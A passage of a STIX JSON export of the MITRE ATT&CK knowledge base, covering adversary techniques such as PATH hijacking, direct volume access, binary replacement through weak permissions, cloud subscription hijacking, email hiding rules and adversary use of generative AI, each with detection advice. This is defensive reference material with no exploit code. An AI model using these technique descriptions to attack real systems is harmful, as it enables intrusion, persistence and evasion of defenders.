                    "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf"
                },
                {
                    "source_name": "USNYAG IranianBotnet March 2016",
                    "description": "Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019.",
                    "url": "https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged"
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            "name": "Direct Network Flood",
            "description": "Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. This DoS attack may also reduce the availability and functionality of the targeted system(s) and network. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001)s are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.\n\nBotnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)",
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                    "external_id": "T1492"
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                {
                    "source_name": "FireEye APT38 Oct 2018",
                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.",
                    "url": "https://content.fireeye.com/apt/rpt-apt38"
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                {
                    "source_name": "DOJ Lazarus Sony 2018",
                    "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.",
                    "url": "https://www.justice.gov/opa/press-release/file/1092091/download"
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            "modified": "2025-04-25T15:15:07.583Z",
            "name": "Stored Data Manipulation",
            "description": "Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_impact_type": [
                "Integrity"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32",
            "created": "2020-03-13T14:10:43.424Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1574/007",
                    "external_id": "T1574.007"
                },
                {
                    "source_name": "Elastic Rules macOS launchctl 2022",
                    "description": "Elastic Security 7.17. (2022, February 1). Modification of Environment Variable via Launchctl. Retrieved September 28, 2023.",
                    "url": "https://www.elastic.co/guide/en/security/7.17/prebuilt-rule-7-16-4-modification-of-environment-variable-via-launchctl.html"
                },
                {
                    "source_name": "ExpressVPN PATH env Windows 2021",
                    "description": "ExpressVPN Security Team. (2021, November 16). Cybersecurity lessons: A PATH vulnerability in Windows. Retrieved September 28, 2023.",
                    "url": "https://www.expressvpn.com/blog/cybersecurity-lessons-a-path-vulnerability-in-windows/"
                },
                {
                    "source_name": "uptycs Fake POC linux malware 2023",
                    "description": "Nischay Hegde and Siddartha Malladi. (2023, July 12). PoC Exploit: Fake Proof of Concept with Backdoor Malware. Retrieved September 28, 2023.",
                    "url": "https://www.uptycs.com/blog/new-poc-exploit-backdoor-malware"
                },
                {
                    "source_name": "nixCraft macOS PATH variables",
                    "description": "Vivek Gite. (2023, August 22). MacOS \u2013 Set / Change $PATH Variable Command. Retrieved September 28, 2023.",
                    "url": "https://www.cyberciti.biz/faq/appleosx-bash-unix-change-set-path-environment-variable/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:05.096Z",
            "name": "Path Interception by PATH Environment Variable",
            "description": "Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line. \n\nAdversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing.\n\nFor example, on Windows if an adversary places a malicious program named \"net.exe\" in `C:\\example path`, which by default precedes `C:\\Windows\\system32\\net.exe` in the PATH environment variable, when \"net\" is executed from the command-line the `C:\\example path` will be called instead of the system's legitimate executable at `C:\\Windows\\system32\\net.exe`. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: ExpressVPN PATH env Windows 2021)\n\nAdversaries may also directly modify the $PATH variable specifying the directories to be searched.  An adversary can modify the `$PATH` variable to point to a directory they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Stefan Kanthak"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "File: File Creation",
                "Windows Registry: Windows Registry Key Modification",
                "Process: Process Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a",
            "created": "2020-02-14T13:35:32.938Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1213/002",
                    "external_id": "T1213.002"
                },
                {
                    "source_name": "Microsoft SharePoint Logging",
                    "description": "Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.",
                    "url": "https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2"
                }
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            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T23:07:18.929Z",
            "name": "Sharepoint",
            "description": "Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552))\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Arun Seelagan, CISA"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging). As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. \n\n",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "Office Suite"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Logon Session: Logon Session Creation",
                "Application Log: Application Log Content",
                "Cloud Service: Cloud Service Metadata"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5",
            "created": "2017-05-31T21:30:20.934Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1006",
                    "external_id": "T1006"
                },
                {
                    "source_name": "Github PowerSploit Ninjacopy",
                    "description": "Bialek, J. (2015, December 16). Invoke-NinjaCopy.ps1. Retrieved June 2, 2016.",
                    "url": "https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1"
                },
                {
                    "source_name": "Hakobyan 2009",
                    "description": "Hakobyan, A. (2009, January 8). FDump - Dumping File Sectors Directly from Disk using Logical Offsets. Retrieved November 12, 2014.",
                    "url": "http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin"
                },
                {
                    "source_name": "LOLBAS Esentutl",
                    "description": "LOLBAS. (n.d.). Esentutl.exe. Retrieved September 3, 2019.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Esentutl/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:05.272Z",
            "name": "Direct Volume Access",
            "description": "Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique may bypass Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)\n\nUtilities, such as `NinjaCopy`, exist to perform these actions in PowerShell.(Citation: Github PowerSploit Ninjacopy) Adversaries may also use built-in or third-party utilities (such as `vssadmin`, `wbadmin`, and [esentutl](https://attack.mitre.org/software/S0404)) to create shadow copies or backups of data from system volumes.(Citation: LOLBAS Esentutl)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Tom Simpson, CrowdStrike Falcon OverWatch"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy)\n\nMonitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1059/001), additional logging of PowerShell scripts is recommended.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Network Devices",
                "Windows"
            ],
            "x_mitre_version": "2.3",
            "x_mitre_data_sources": [
                "File: File Creation",
                "Drive: Drive Access",
                "Command: Command Execution"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a",
            "created": "2017-05-31T21:30:43.063Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1044",
                    "external_id": "T1044"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/17.html",
                    "external_id": "CAPEC-17"
                },
                {
                    "source_name": "Mozilla Firefox Installer DLL Hijack",
                    "description": "Kugler, R. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017.",
                    "url": "https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/"
                },
                {
                    "source_name": "Seclists Kanthak 7zip Installer",
                    "description": "Kanthak, S. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe\tallows remote code execution with escalation of privilege. Retrieved March 10, 2017.",
                    "url": "http://seclists.org/fulldisclosure/2015/Dec/34"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:08.051Z",
            "name": "File System Permissions Weakness",
            "description": "Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n### Services\n\nManipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.\n\n### Executable Installers\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088). Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Stefan Kanthak",
                "Travis Smith, Tripwire"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "Linux",
                "macOS"
            ],
            "x_mitre_version": "1.2"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--0cc222f5-c3ff-48e6-9f52-3314baf9d37e",
            "created": "2024-03-11T13:37:31.836Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1588/007",
                    "external_id": "T1588.007"
                },
                {
                    "source_name": "WSJ-Vishing-AI24",
                    "description": "Catherine Stupp. (2019, August 30). Fraudsters Used AI to Mimic CEO\u2019s Voice in Unusual Cybercrime Case. Retrieved March 18, 2025.",
                    "url": "https://www.wsj.com/articles/fraudsters-use-ai-to-mimic-ceos-voice-in-unusual-cybercrime-case-11567157402"
                },
                {
                    "source_name": "Google-Vishing24",
                    "description": "Emily Astranova, Pascal Issa. (2024, July 23). Whose Voice Is It Anyway? AI-Powered Voice Spoofing for Next-Gen Vishing Attacks. Retrieved March 18, 2025.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/ai-powered-voice-spoofing-vishing-attacks"
                },
                {
                    "source_name": "IC3-AI24",
                    "description": "IC3. (2024, December 3). Criminals Use Generative Artificial Intelligence to Facilitate Financial Fraud. Retrieved March 18, 2025.",
                    "url": "https://www.ic3.gov/PSA/2024/PSA241203"
                },
                {
                    "source_name": "MSFT-AI",
                    "description": "Microsoft Threat Intelligence. (2024, February 14). Staying ahead of threat actors in the age of AI. Retrieved March 11, 2024.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2024/02/14/staying-ahead-of-threat-actors-in-the-age-of-ai/"
                },
                {
                    "source_name": "OpenAI-CTI",
                    "description": "OpenAI. (2024, February 14). Disrupting malicious uses of AI by state-affiliated threat actors. Retrieved September 12, 2024.",
                    "url": "https://openai.com/index/disrupting-malicious-uses-of-ai-by-state-affiliated-threat-actors/"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T19:58:05.447Z",
            "name": "Artificial Intelligence",
            "description": "Adversaries may obtain access to generative artificial intelligence tools, such as large language models (LLMs), to aid various techniques during targeting. These tools may be used to inform, bolster, and enable a variety of malicious tasks, including conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043), creating basic scripts, assisting social engineering, and even developing payloads.(Citation: MSFT-AI) \n\nFor example, by utilizing a publicly available LLM an adversary is essentially outsourcing or automating certain tasks to the tool. Using AI, the adversary may draft and generate content in a variety of written languages to be used in [Phishing](https://attack.mitre.org/techniques/T1566)/[Phishing for Information](https://attack.mitre.org/techniques/T1598) campaigns. The same publicly available tool may further enable vulnerability or other offensive research supporting [Develop Capabilities](https://attack.mitre.org/techniques/T1587). AI tools may also automate technical tasks by generating, refining, or otherwise enhancing (e.g., [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027)) malicious scripts and payloads.(Citation: OpenAI-CTI) Finally, AI-generated text, images, audio, and video may be used for fraud, [Impersonation](https://attack.mitre.org/techniques/T1656), and other malicious activities.(Citation: Google-Vishing24)(Citation: IC3-AI24)(Citation: WSJ-Vishing-AI24)\n",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Menachem Goldstein"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the potential use of generative artificial intelligence (i.e. [Phishing](https://attack.mitre.org/techniques/T1566), [Phishing for Information](https://attack.mitre.org/techniques/T1598)).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--0ce73446-8722-4086-9d43-514f1d0f669e",
            "created": "2024-09-25T14:16:19.234Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1666",
                    "external_id": "T1666"
                },
                {
                    "source_name": "AWS Organizations",
                    "description": "AWS. (n.d.). Terminology and concepts for AWS Organizations. Retrieved September 25, 2024.",
                    "url": "https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html"
                },
                {
                    "source_name": "AWS RE:Inforce Threat Detection 2024",
                    "description": "Ben Fletcher and Steve de Vera. (2024, June). New tactics and techniques for proactive threat detection. Retrieved September 25, 2024.",
                    "url": "https://reinforce.awsevents.com/content/dam/reinforce/2024/slides/TDR432_New-tactics-and-techniques-for-proactive-threat-detection.pdf"
                },
                {
                    "source_name": "Microsoft Subscription Hijacking 2022",
                    "description": "Dor Edry. (2022, August 24). Hunt for compromised Azure subscriptions using Microsoft Defender for Cloud Apps. Retrieved September 5, 2023.",
                    "url": "https://techcommunity.microsoft.com/t5/microsoft-365-defender-blog/hunt-for-compromised-azure-subscriptions-using-microsoft/ba-p/3607121"
                },
                {
                    "source_name": "Microsoft Azure Resources",
                    "description": "Microsoft Azure. (2024, May 31). Organize your Azure resources effectively. Retrieved September 25, 2024.",
                    "url": "https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-setup-guide/organize-resources"
                },
                {
                    "source_name": "Microsoft Peach Sandstorm 2023",
                    "description": "Microsoft Threat Intelligence. (2023, September 14). Peach Sandstorm password spray campaigns enable intelligence collection at high-value targets. Retrieved September 18, 2023.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2023/09/14/peach-sandstorm-password-spray-campaigns-enable-intelligence-collection-at-high-value-targets/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:49:45.874Z",
            "name": "Modify Cloud Resource Hierarchy",
            "description": "Adversaries may attempt to modify hierarchical structures in infrastructure-as-a-service (IaaS) environments in order to evade defenses.  \n\nIaaS environments often group resources into a hierarchy, enabling improved resource management and application of policies to relevant groups. Hierarchical structures differ among cloud providers. For example, in AWS environments, multiple accounts can be grouped under a single organization, while in Azure environments, multiple subscriptions can be grouped under a single management group.(Citation: AWS Organizations)(Citation: Microsoft Azure Resources)\n\nAdversaries may add, delete, or otherwise modify resource groups within an IaaS hierarchy. For example, in Azure environments, an adversary who has gained access to a Global Administrator account may create new subscriptions in which to deploy resources. They may also engage in subscription hijacking by transferring an existing pay-as-you-go subscription from a victim tenant to an adversary-controlled tenant. This will allow the adversary to use the victim\u2019s compute resources without generating logs on the victim tenant.(Citation: Microsoft Peach Sandstorm 2023)(Citation: Microsoft Subscription Hijacking 2022)\n\nIn AWS environments, adversaries with appropriate permissions in a given account may call the `LeaveOrganization` API, causing the account to be severed from the AWS Organization to which it was tied and removing any Service Control Policies, guardrails, or restrictions imposed upon it by its former Organization. Alternatively, adversaries may call the `CreateAccount` API in order to create a new account within an AWS Organization. This account will use the same payment methods registered to the payment account but may not be subject to existing detections or Service Control Policies.(Citation: AWS RE:Inforce Threat Detection 2024)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "IaaS"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Cloud Service: Cloud Service Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--0cf55441-b176-4332-89e7-2c4c7799d0ff",
            "created": "2021-06-07T13:20:23.767Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1564/008",
                    "external_id": "T1564.008"
                },
                {
                    "source_name": "MacOS Email Rules",
                    "description": "Apple. (n.d.). Use rules to manage emails you receive in Mail on Mac. Retrieved June 14, 2021.",
                    "url": "https://support.apple.com/guide/mail/use-rules-to-manage-emails-you-receive-mlhlp1017/mac"
                },
                {
                    "source_name": "Microsoft BEC Campaign",
                    "description": "Carr, N., Sellmer, S. (2021, June 14). Behind the scenes of business email compromise: Using cross-domain threat data to disrupt a large BEC campaign. Retrieved June 15, 2021.",
                    "url": "https://www.microsoft.com/security/blog/2021/06/14/behind-the-scenes-of-business-email-compromise-using-cross-domain-threat-data-to-disrupt-a-large-bec-infrastructure/"
                },
                {
                    "source_name": "Microsoft Mail Flow Rules 2023",
                    "description": "Microsoft. (2023, February 22). Mail flow rules (transport rules) in Exchange Online. Retrieved March 13, 2023.",
                    "url": "https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules"
                },
                {
                    "source_name": "Microsoft Inbox Rules",
                    "description": "Microsoft. (n.d.). Manage email messages by using rules. Retrieved June 11, 2021.",
                    "url": "https://support.microsoft.com/en-us/office/manage-email-messages-by-using-rules-c24f5dea-9465-4df4-ad17-a50704d66c59"
                },
                {
                    "source_name": "Microsoft New-InboxRule",
                    "description": "Microsoft. (n.d.). New-InboxRule. Retrieved June 7, 2021.",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/new-inboxrule?view=exchange-ps"
                },
                {
                    "source_name": "Microsoft Set-InboxRule",
                    "description": "Microsoft. (n.d.). Set-InboxRule. Retrieved June 7, 2021.",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/set-inboxrule?view=exchange-ps"
                },
                {
                    "source_name": "Microsoft Cloud App Security",
                    "description": "Niv Goldenberg. (2018, December 12). Rule your inbox with Microsoft Cloud App Security. Retrieved June 7, 2021.",
                    "url": "https://techcommunity.microsoft.com/t5/security-compliance-and-identity/rule-your-inbox-with-microsoft-cloud-app-security/ba-p/299154"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T22:27:09.849Z",
            "name": "Email Hiding Rules",
            "description": "Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the <code>New-InboxRule</code> or <code>Set-InboxRule</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)\n\nAdversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.\n\nAny user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as <code>malware</code>, <code>suspicious</code>, <code>phish</code>, and <code>hack</code>) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)\n\nIn some environments, administrators may be able to enable email rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to automatically modify or delete all emails related to specific topics (such as internal security incident notifications).",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Dor Edry, Microsoft",
                "Liran Ravich, CardinalOps"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor email clients and applications for suspicious activity, such as missing messages or abnormal configuration and/or log entries.\n\nOn Windows systems, monitor for creation of suspicious inbox rules through the use of the <code>New-InboxRule</code> and <code>Set-InboxRule</code> PowerShell cmdlets.(Citation: Microsoft BEC Campaign) On MacOS systems, monitor for modifications to the <code>RulesActiveState.plist</code>, <code>SyncedRules.plist</code>, <code>UnsyncedRules.plist</code>, and <code>MessageRules.plist</code> files.(Citation: MacOS Email Rules)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
